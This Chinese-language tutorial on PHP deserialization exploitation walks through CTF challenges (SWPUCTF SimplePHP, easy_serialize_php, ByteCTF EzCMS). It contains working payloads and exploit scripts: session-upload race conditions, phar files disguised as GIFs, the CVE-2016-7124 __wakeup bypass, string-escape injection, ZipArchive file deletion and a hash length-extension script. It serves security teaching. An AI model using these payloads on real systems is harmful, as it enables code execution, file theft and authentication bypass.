1. foo3类中execute方法没有发现调用的地方,但是在foo2类中的魔术方法__toString()中发现调用了同名方法,这里可以把foo2类中的$obj实例化为foo3类的对象,这样只要调用__toString()就相当于调用foo3类中execute方法。

$this->obj = new foo3();

2. 如果想触发foo2类中的魔术方法__toString()被触发,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象,这里可以把foo1类中的$varr实例化为foo2类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发foo2类中的__toString()方法。

$this->varr = new foo2();

class.php文件的调用链为:

foo3::execute <-- foo2::__toString <-- foo1::__destruct

思路有了现在来构造payload:

<?php
class foo1{
     function __construct(){
          $this->varr = new foo2();   
     }
}
class foo2{
     function __construct(){
          $this->obj = new foo3();
     }
}
class foo3{
     public $varr='phpinfo();';
}

$obj = new foo1();
echo serialize($obj);
?>

再来分析一下index.php文件:

   1. 发现使用php引擎来读取Session文件,而系统默认是使用php_serialize引擎来存储Session, 通过不同引擎的差异解析就可以反序列化rce。

   2. 文件直接require(class.php),并且紧接着实例化一个foo1类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。

本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。

<form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串,payload为:

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}

现在设置session.upload_progress.cleanup = On ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。

在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:

开始爆破:

  

就这样通过时间竞争就可以实现反序列化rce。

phar伪协议触发php反序列化

前言

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar介绍和漏洞原理

phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。

phar文件有四部分构成 

1. a stub

识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。

这里有两个关键点:

1. 文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制

2. 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。 

构造有序列化的phar文件

本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off

PHP内置phar类,其中的一些方法如下:

//实例一个phar对象供后续操作
$phar = new Phar('joker.phar');  

//开始缓冲Phar写操作 
$phar->startBuffering() 

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 

//以字符串的形式添加一个文件到 phar 档案 
$phar->addFromString('test.php','<?php echo 'this is test file';'); 

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar') 

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo() 

生成phar文件的代码如下:

phar.php

<?php
    //反序列化payload构造
    class TestObject {
    }
    @unlink("phar.phar");

    //实例一个phar对象供后续操作,后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    //开始缓冲对phar的写操作 
    $phar->startBuffering();
    
    //设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 

    //将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='i am bmjoker';
    //将自定义的归档元数据meta-data存入manifest
    $phar->setMetadata($o);

    //phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "bmjoker"); 
    //停止缓冲对phar的写操作
    $phar->stopBuffering();
?>

运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开

可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

 受影响的文件操作函数列表   
       
fileatime filectime file_exists file_get_contents touch get_meta_tags
file_put_contents file filegroup fopen hash_file get_headers
fileinode filemtime fileowner fileperms md5_file getimagesize
is_dir is_executable is_file is_link sha1_file getimagesizefromstring
is_readable is_writable is_writeable parse_ini_file hash_update_file imageloadfont
copy unlink stat readfile hash_hmac_file exif_imagetype

这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 includeinclude_oncerequrierequire_once

对刚才生成的phar使用文件操作函数实现反序列化读取:

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }

    $filename =  "phar://phar.phar/test.txt";
    file_get_contents($filename);
?>

成功对meta-data里面的数据进行反序列化输出。

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    //设置stub,增加gif文件头
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $o = new TestObject();
    $o->data = 'i am bmjoker';
    //将自定义meta-data存入manifest
    $phar->setMetadata($o); 
    //添加要压缩的文件
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开

采用这种方法可以绕过一些通过校验文件头的上传点。

来个小demo:

upload_file.php:

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else{
    echo "Invalid file,you can only upload gif";
}
?>

upload_file.html

<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);   // 漏洞点
?>

upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用file_exists()判断文件是否存在,并且存在魔术方法__destruct()。大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。

构造payload代码eval.php:

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

访问file_upload.html将gif文件上传:

利用file_un.php使用phar协议来反序列化rce:

?filename=phar://upload_file/phar.gif

漏洞利用条件

1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists()fopen()file_get_contents()include()等文件操作的函数

2. 要有可用的魔术方法作为"跳板";

3. 文件操作函数的参数可控,且/phar等特殊字符没有被过滤。

虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。

在禁止phar开头的情况下的替代方法:

compress.zlib://phar://phar.phar/test.txt

compress.bzip2://phar://phar.phar/test.txt 

php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

虽然会报warning,但是还是会执行。

CTF实战

这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子,题目地址:https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP

点击" 查看文件 ",发现了标志性的文件包含语句" file.php?file= "

通过文件包含可以读取file.php,function.php,class.php,base.php文件的源码

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

通读以上代码,来这个提取有用的信息:

1. base.php,用于前端展示的html代码。

2. function.php,处理上传的文件,对文件的后缀做了白名单限制,只允许gif,jpeg,jpg,png这几种后缀。上传文件的命名方式为 md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg";,并且保存在/upload目录下。

3. class.php,看到这个文件内容很明显使用反序列化来构造文件读取

结合上图中只对http,https,file:,gopher,dict协议的过滤,并且上面还提醒:$this->source = phar://phar.jpg,很明显是使用phar伪协议触发反序列化。

通读代码,发现漏洞点在于可以通过调用Test类中的file_get_contents()方法造成任意文件读取。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链:

1. Test类中file_get()方法被同类下的get()方法调用,并传入$value参数。这里有一个if判断,判断\$this->params[\$key]是否存在,如果存在,这个\$this->params[\$key]就会被传递到file_get_contents()方法进行读取。继续往上看,发现构造函数__contruct()给参数$param赋值了一个数组,魔术方法__get()调用get()方法,并传入参数$key,而__get()方法在读取不可访问的属性的值时会被调用,寻找可以触发的地方。其实调用链为:

Test::file_get_contents() <-- Test::get()

2. 在Show类的魔术方法__toString()看到存在$this->str['str']->source,如果$this->str['str']为Test类的一个实例,那么就会访问不存在的source变量,这里就可以触发__get()方法

$this->str['str'] = new Test()

3. 下一步就要寻找可以触发Show类中__toString()方法的地方,最后在C1e4r类中析构函数__destruct()内发现了echo方法,如果$this->test是Show类顶得一个实例化对象,当使用echo就会把这个对象当作字符串调用,就可以触发魔术方法__toString()

$this->test = new Show()

最后的调用链为:

file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()

3. file.php,从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。

构造exp:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->parms['source'] ="/var/www/html/f1ag.php";
$clear->str = $show;     //利用$this->test = $this->str;echo $this->test;
$show->str['str'] = $test; //利用$this->str['str']->source;

$phar = new Phar("joker.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($clear);     //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

?>

在本地环境中生成phar文件:

本题没有对upload/目录做处理可以直接访问,由于对上传文件的后缀有检测,需要改为gif后缀,上传获取文件名

回到file.php页面,使用phar://伪协议解析上传的phar伪造的文件:

/file.php?file=phar://upload/46641c37ef2c8d2bd68ab582fdb25732.jpg

得到base64加密内容

 flag到手

CVE-2016-7124 绕过__wakeup()的反序列化

漏洞版本

php5 < 5.6.25 | php7 < 7.0.10

漏洞原理

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

Demo演示

demo.php

<?php   
class Test {
    public $name = 'joker';
    function __destruct()
    {
        echo 'Bypass';
    }

    function __wakeup()
    {
        echo 'fail ';
    }
}
$payload = $_GET['a'];
unserialize($payload);
?>  

payload:

/demo.php?a=O:4:"Test":1:{s:4:"name";s:5:"joker";}

 

bypasspayload:

/demo.php?a=O:4:"Test":2:{s:4:"name";s:5:"joker";}

对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行

CTF小例

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

通读一下源码,发现可以通过__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);读flag.php文件,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize()之前执行,所以要绕过这一点。

这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

因为变量$fileprotect属性,所以需要加上\x00*\x00。(不明白的可以看上面对修饰符的解释)

构造序列化对象:

O:5:"SoFun":1:{s:7:"\x00*\x00file";s:8:"flag.php";}

绕过__wakeup:

O:5:"SoFun":2:{s:7:"\x00*\x00file";s:8:"flag.php";}

再经过base64编码就可以得到payload:

Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

当然也可以直接使用16进制编码的方式生成payload,不过需要大写S

O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

直接base64编码

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

PHP反序列化对象逃逸

逃逸原理

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:

<?php
$str='a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}';
var_dump(unserialize($str));
?>

反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行

比如在$str结尾的花括号后增加一些字符:

<?php
$str='a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}qwe123';
var_dump(unserialize($str));
?>

明白了上面的,就再看一个例子

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';

echo serialize($_SESSION);
?>

得到的序列化字段为:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里如果增加了过滤机制,会将flag字段替换为空,那么上面序列化字符串过滤结果为:

a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

如果将上面过滤之后的字符串进行反序列化,会不会报错呢?

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$ser = serialize($_SESSION);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/flag/i",'',$ser);
var_dump(unserialize($filter));
?>

打印出了过滤前与过滤后的反序列化字符串,对比就可以发现当把flag过滤之后,string(24)规定需要24个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐24个字符,也就是读取";s:8“function”;s:59:"a,当凑齐24个字符后以 "; 结尾。之后["img"]就按照string(20)读取20个字符,["dd"]按照string(1)读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。

写成数组的形式为:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

看完上面的例子,发现本来想读取的内容是$_SESSION["img"]的值为:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,string(24)位数不够往后读取,就把$_SESSION["function"]的值的前24位存放在$_SESSION["user"]中,把$_SESSION["funcion"]的值的后20为存放在$_SESSION["img"]中,导致ZDBnM19mMWFnLnBocA==代替了$_SESSION["img"]对应的原本的值。而识别完成后序列化最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

可以看到本例中$_SESSION["img"]对应的值发生了变化。这样的话岂不是可以做到"隔山打牛",如果我们能够控制原来$_SESSION数组的funcion的值,但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。

CTF实例

这里选择安洵杯2019这道题目:easy_serialize_php

题目源码:

代码中有提示"maybe you can find something in here",先来看一下phpinfo()中有哪些有用的信息:

可以看到这里藏了一个文件d0g3_f1ag.php,需要分析代码来构造反序列化链读取文件。

起点就是当$function=='show_image'时,调用了文件读取函数file_get_contents(),变量为$userinfo['img'],调用过程为

$userinfo['img'] <-- unserialize($serialize_info) <-- filter(serialize($_SESSION))

可以看到最后是先对$_SESSION进行序列化,然后传进filter方法进行对php,flag,php5,php4,fl1g字段进行过滤,然后再进行反序列化。这会导致构造的序列化的数据不完整,导致反序列化失败。

先来看第一种payload(键逃逸):

需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对

_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

通过POST方法传递,经过extract($_POST)进行变量覆盖。但是这个extract的位置比较***钻,如果放在$serialize_info=上一行,直接通过变量覆盖$_SESSION["img"]就可以读取d0g3_f1ag.php文件,但是放在if(!$function){上面的话就导致,我们的可控参数只有$_SESSION["user"]$_SESSION["function"]

这样就只能"隔山打牛",结合题目对一些字符的过滤,使用上面的逃逸方法,实现参数替换。

打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:

filter过滤之后:

a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

由于对字符fl1gfl1g替换为空,第一个s需要往后读8个字符,也就是";s:51:",紧接着就是第二个s需要往后读8个字符,也就是aaa,紧接着就是img对应读取20个字符,也就是ZDBnM19mMWFnLnBocA==' } '括号后面的内容就被忽略,不会影响反序列化结果

所以反序列化之后的结果为:

array
  '";s:51:"' => string 'aaa' (length=3)
  'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20)

此时$userinfo['img'] = ZDBnM19mMWFnLnBocA==,成功读取/d0g3_fllllllag文件:

第二种payload(值逃逸):

需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:

filter过滤之后:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

同上一个payload原理差不多,会吃掉后面的字符,只不过这次在值上,上一个payload是在键上吃了后面的值,反序列化结果如下:

array
  'user' => string '";s:8:"function";s:59:"a' (length=24)
  'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20)
  'dd' => string 'a' (length=1)

PHP原生类序列化

php中的原生类

以下内容参考于l3m0n大佬的《反序列化之PHP原生类的利用

使用以下脚本打印出php本身内置类:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            echo $class . '::' . $method."<br>";
        }
    }
} 

php5.3之前版本打印的结果如下:

php5.3版本之后打印的结果如下:

对比明显看到php5支持的内置类更多一点。但是有些类不能够进行反序列化,因为php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候:

<?php
    $dir = new DirectoryIterator('/');
    echo serialize($dir);
?>

php5.3版本之前:

php5.3版本之后:

原生类利用之ZipArchive::open()

ZipArchive::open介绍

官方手册中这样介绍

ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件,该特性在一定条件下可以用于删除文件,当然前提是存在open函数来进行触发。

本地进行创建demo进行测试,为了测试效果使用两个file_exists判断文件状态:

<?php
    $a = new ZipArchive();
    var_dump(file_exists('1.txt'));
    
    $a->open('1.txt',ZipArchive::OVERWRITE);
    
    var_dump(file_exists('1.txt'));
?>

运行代码:

可以看到当ZipArchive::open()的第二个参数为ZipArchive::OVERWRITE,会把指定文件删除。

CTF实例理解

下面以ByteCTF的EzCMS为例来加深一下印象。

代码地址:https://github.com/glzjin/bytectf_2019_ezcms

本地使用docker搭建环境

访问www.zip获取源码:

http://192.168.127.141:8302/www.zip

先来看index.php

接收POST传递过来的username,password参数,只要password不等于"admin",就把username,password存放进SESSION中。这就算登陆成功了???

看到最上面include('config.php');,下面的if判断又调用了login()方法,来看一下代码

这里设置了一个名叫hash的cookie,值为md5($secret."adminadmin")

随便输入账号密码登录(admin/123),抓取数据包:

通过数据包中Cookie的hash字段,可以得到

md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c

继续往下看,发现登录成功就跳转到upload.php页面,但是上传文件会失败,显示不是admin

直接来看下upload.php代码

这里看到包含了config.php文件,并且实例化了一个Admin类的对象来处理上传的文件,来看一下具体的实现

这里设置了upload_dir = sandbox/md5($_SERVER['REMOTE_ADDR']);,并且在上传目录下创建.htaccess文件,并写入相关内容。

终于找到上传失败的罪魁祸首,在调用upload_file()上传文件的时候会先校验$this->checker是否为True,而$this->checker又是Profile类中is_admin()方法的返回值。

跟进查看is_admin()方法:

当满足:

  1. username = "admin" && password != "admin"

  2. \$_COOKIE['user'] === md5(\$secret.\$this->username.\$this->password)

结合上面的

md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c

可以使用哈希长度扩展攻击来绕过获取$secret的步骤,直接获取password

哈希长度扩展攻击是利用了 md5、sha1 等加密算法的缺陷,适用于加密情况为:hash(\$SECRET, \$message)的情况,其中 hash 最常见的就是 md5、sha1。可以在不知道$SECRET的情况下推算出另外一个匹配的值

 

具体参考:https://blog.csdn.net/syh_486_007/article/details/51228628

     https://www.cnblogs.com/pcat/p/5478509.html

这里由于不知道$secret的长度,只能依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了

或者直接

hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 13 -a pcat

用hashpump写个脚本:

import requests,hashpumpy,urllib
def webre():
    sha='52107b08c0f3342d2153ae1d68e6262c'
    string0='admin'
    string1='pcat'
    for i in range(15):
        digest,message=hashpumpy.hashpump(sha,string0,string1,i)
        role=urllib.quote(message[::])
        hsh=digest
        payload={'post':role,'hash':hsh}
        print(i,payload)
webre()

最后得到

username:admin
password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin
$_Cookie['user'] = 7e6270e35bf7b74982d8fff6382b5048

访问index.php,使用上面的username,password重新登陆。在浏览器中设置cookie中user的字段,尝试上传1.php

成功上传

同时也会看到上传目录下的.htaccess文件,里面的内容为:lolololol, i control all,这导致上传的php文件无法解析,比如访问刚刚上传的php文件

考虑是否可以通过反序列化链删除/重写.htaccess文件,或者修改文件的上传路径。

继续看upload_file()方法,发现当使用is_admin()判断完后,又调用了一个check()方法

是对上传文件的内容进行检测,如果出现system,eval,assert这类危险字段,程序就会报错退出。但是由于是黑名单校验,简单变形即可绕过。

继续看一下view.php文件

发现使用GET方法获取前端传进来的filename,filepath,实例化一个File类的对象,将解码后filename,filepath传入类中,并调用view_detail方法。

跟进File这个类

view_detail方法会先检测传进来的filepath是否以phar,compress,zip...等字段开头。接下来使用mime_content_type来检测文件mime类型。问题点就在这里触发,因为mima_content_type可以使用phar://触发phar反序列化(https://xz.aliyun.com/t/6057)。

